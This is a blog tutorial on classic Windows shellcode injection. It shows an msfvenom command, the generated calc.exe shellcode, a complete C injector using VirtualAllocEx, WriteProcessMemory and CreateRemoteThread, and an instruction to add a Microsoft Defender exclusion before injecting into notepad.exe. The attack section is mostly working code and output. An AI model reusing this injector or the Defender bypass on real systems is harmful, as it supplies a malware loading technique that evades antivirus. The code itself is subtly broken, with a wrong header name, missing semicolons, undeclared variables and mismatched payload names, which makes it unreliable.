Shellcode Injection

Apr 4, 2023

Shellcode injection consists of four basic steps which are:

  1. Attach to/create a process.

  2. Allocate some memory within that process.

  3. Write the memory to the process.

  4. Finally, create a thread to execute the code we injected into the process's memory.

Shellcode Injection flow chart

Win32 API Calls

Documentation for the following API calls can be found by clicking the functions header.

HANDLE OpenProcess(
  [in] DWORD dwDesiredAccess,
  [in] BOOL  bInheritHandle,
  [in] DWORD dwProcessId
);

LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);

Setup

Let's start by implementing step 1. The OpenProcess function returns a handle to a specified process. In case of failure, it will return NULL and we can get the error by calling GetLastError(). Therefore we can implement a simple check to handle errors:

#include <window.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    DWORD PID = atoi(argv[1])
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    
    if (hProcess != NULL) {
        printf("[+] Got handle to process [%ld]", PID);
        return EXIT_SUCCESS;
    }
    else {
        printf("[-] Could not get handle to process [%ld]\nERROR: %ld", PID, GetLastError());
        return EXIT_FAILURE;
    }
}

Shellcode

We will use msfvenom in order to generate a simple payload that will run the calc.exe application.

msfvenom --platform windows --arch x64 EXITFUNC=thread -p windows/x64/exec CMD="cmd.exe /c calc.exe" -f c --var-name=shellcode

unsigned char shellcode[] = 
"\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc0\\x00\\x00\\x00\\x41\\x51\\x41\\x50"
"\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\\x8b\\x52"
"\\x18\\x48\\x8b\\x52\\x20\\x48\\x8b\\x72\\x50\\x48\\x0f\\xb7\\x4a\\x4a"
"\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\x41"
"\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\xe2\\xed\\x52\\x41\\x51\\x48\\x8b\\x52"
"\\x20\\x8b\\x42\\x3c\\x48\\x01\\xd0\\x8b\\x80\\x88\\x00\\x00\\x00\\x48"
"\\x85\\xc0\\x74\\x67\\x48\\x01\\xd0\\x50\\x8b\\x48\\x18\\x44\\x8b\\x40"
"\\x20\\x49\\x01\\xd0\\xe3\\x56\\x48\\xff\\xc9\\x41\\x8b\\x34\\x88\\x48"
"\\x01\\xd6\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41"
"\\x01\\xc1\\x38\\xe0\\x75\\xf1\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1"
"\\x75\\xd8\\x58\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x41\\x8b\\x0c"
"\\x48\\x44\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x41\\x8b\\x04\\x88\\x48\\x01"
"\\xd0\\x41\\x58\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\\x41\\x59\\x41\\x5a"
"\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\\x41\\x59\\x5a\\x48\\x8b"
"\\x12\\xe9\\x57\\xff\\xff\\xff\\x5d\\x48\\xba\\x01\\x00\\x00\\x00\\x00"
"\\x00\\x00\\x00\\x48\\x8d\\x8d\\x01\\x01\\x00\\x00\\x41\\xba\\x31\\x8b"
"\\x6f\\x87\\xff\\xd5\\xbb\\xe0\\x1d\\x2a\\x0a\\x41\\xba\\xa6\\x95\\xbd"
"\\x9d\\xff\\xd5\\x48\\x83\\xc4\\x28\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0"
"\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x59\\x41\\x89\\xda\\xff"
"\\xd5\\x63\\x6d\\x64\\x2e\\x65\\x78\\x65\\x20\\x2f\\x63\\x20\\x63\\x61"
"\\x6c\\x63\\x2e\\x65\\x78\\x65\\x00";

size_t shellcodeSize = sizeof(shellcode);

Setup II

#include <window.h>
#include <stdio.h>

unsigned char shellcode[] = 
"\\xfc\\x48\\x83\\xe4\\xf0\\xe8\\xc0\\x00\\x00\\x00\\x41\\x51\\x41\\x50"
"\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\\x48\\x8b\\x52"
"\\x18\\x48\\x8b\\x52\\x20\\x48\\x8b\\x72\\x50\\x48\\x0f\\xb7\\x4a\\x4a"
"\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\x41"
"\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\xe2\\xed\\x52\\x41\\x51\\x48\\x8b\\x52"
"\\x20\\x8b\\x42\\x3c\\x48\\x01\\xd0\\x8b\\x80\\x88\\x00\\x00\\x00\\x48"
"\\x85\\xc0\\x74\\x67\\x48\\x01\\xd0\\x50\\x8b\\x48\\x18\\x44\\x8b\\x40"
"\\x20\\x49\\x01\\xd0\\xe3\\x56\\x48\\xff\\xc9\\x41\\x8b\\x34\\x88\\x48"
"\\x01\\xd6\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41"
"\\x01\\xc1\\x38\\xe0\\x75\\xf1\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1"
"\\x75\\xd8\\x58\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x41\\x8b\\x0c"
"\\x48\\x44\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x41\\x8b\\x04\\x88\\x48\\x01"
"\\xd0\\x41\\x58\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\\x41\\x59\\x41\\x5a"
"\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\\x41\\x59\\x5a\\x48\\x8b"
"\\x12\\xe9\\x57\\xff\\xff\\xff\\x5d\\x48\\xba\\x01\\x00\\x00\\x00\\x00"
"\\x00\\x00\\x00\\x48\\x8d\\x8d\\x01\\x01\\x00\\x00\\x41\\xba\\x31\\x8b"
"\\x6f\\x87\\xff\\xd5\\xbb\\xe0\\x1d\\x2a\\x0a\\x41\\xba\\xa6\\x95\\xbd"
"\\x9d\\xff\\xd5\\x48\\x83\\xc4\\x28\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0"
"\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x59\\x41\\x89\\xda\\xff"
"\\xd5\\x63\\x6d\\x64\\x2e\\x65\\x78\\x65\\x20\\x2f\\x63\\x20\\x63\\x61"
"\\x6c\\x63\\x2e\\x65\\x78\\x65\\x00";

size_t shellcodeSize = sizeof(shellcode);

int main(int argc, char *argv[]) {
    DWORD PID = atoi(argv[1])
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    
    if (hProcess != NULL) {
        printf("[+] Got handle to process [%ld]", PID);
        
        rBuffer = VirtualAllocEx(hProcess, NULL, payloadSize, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
        WriteProcessMemory(hProcess, rBuffer, payload, payloadSize, NULL);
        
        hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)rBuffer, NULL, 0, NULL);
        WaitForSingleObject(hThread, INFINITE);
        
        CloseHandle(hProcess);
        CloseHandle(hThread);
        
        return EXIT_SUCCESS;
    }
    else {
        printf("[-] Could not get handle to process [%ld]\nERROR: %ld", PID, GetLastError());
        return EXIT_FAILURE;
    }
}

Injection

Now let's compile our script

Add an exclusion to Microsoft Defender
> gcc shellcode.c -o shellcode.exe
> ls
        Directory: C:\[...]\shellcode


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          4/4/2023   2:56 PM           2710 shellcode.c
-a----          4/4/2023   2:57 PM         257027 shellcode.exe

Great! Our injector is ready. For demonstration purposes, we will inject into notepad.exe

> notepad
> ps | findstr notepad
    247      13     2972      14468       0.08   8224   2 notepad
> ./shellcode.exe

For the sake of demonstration and logging, I added some prints in the code.

Successful shellcode injection.

๐ŸŽ‰ And we did it! Congratulations ๐Ÿ˜„

In the next writeup we will be talking about DLL Injections.

Last updated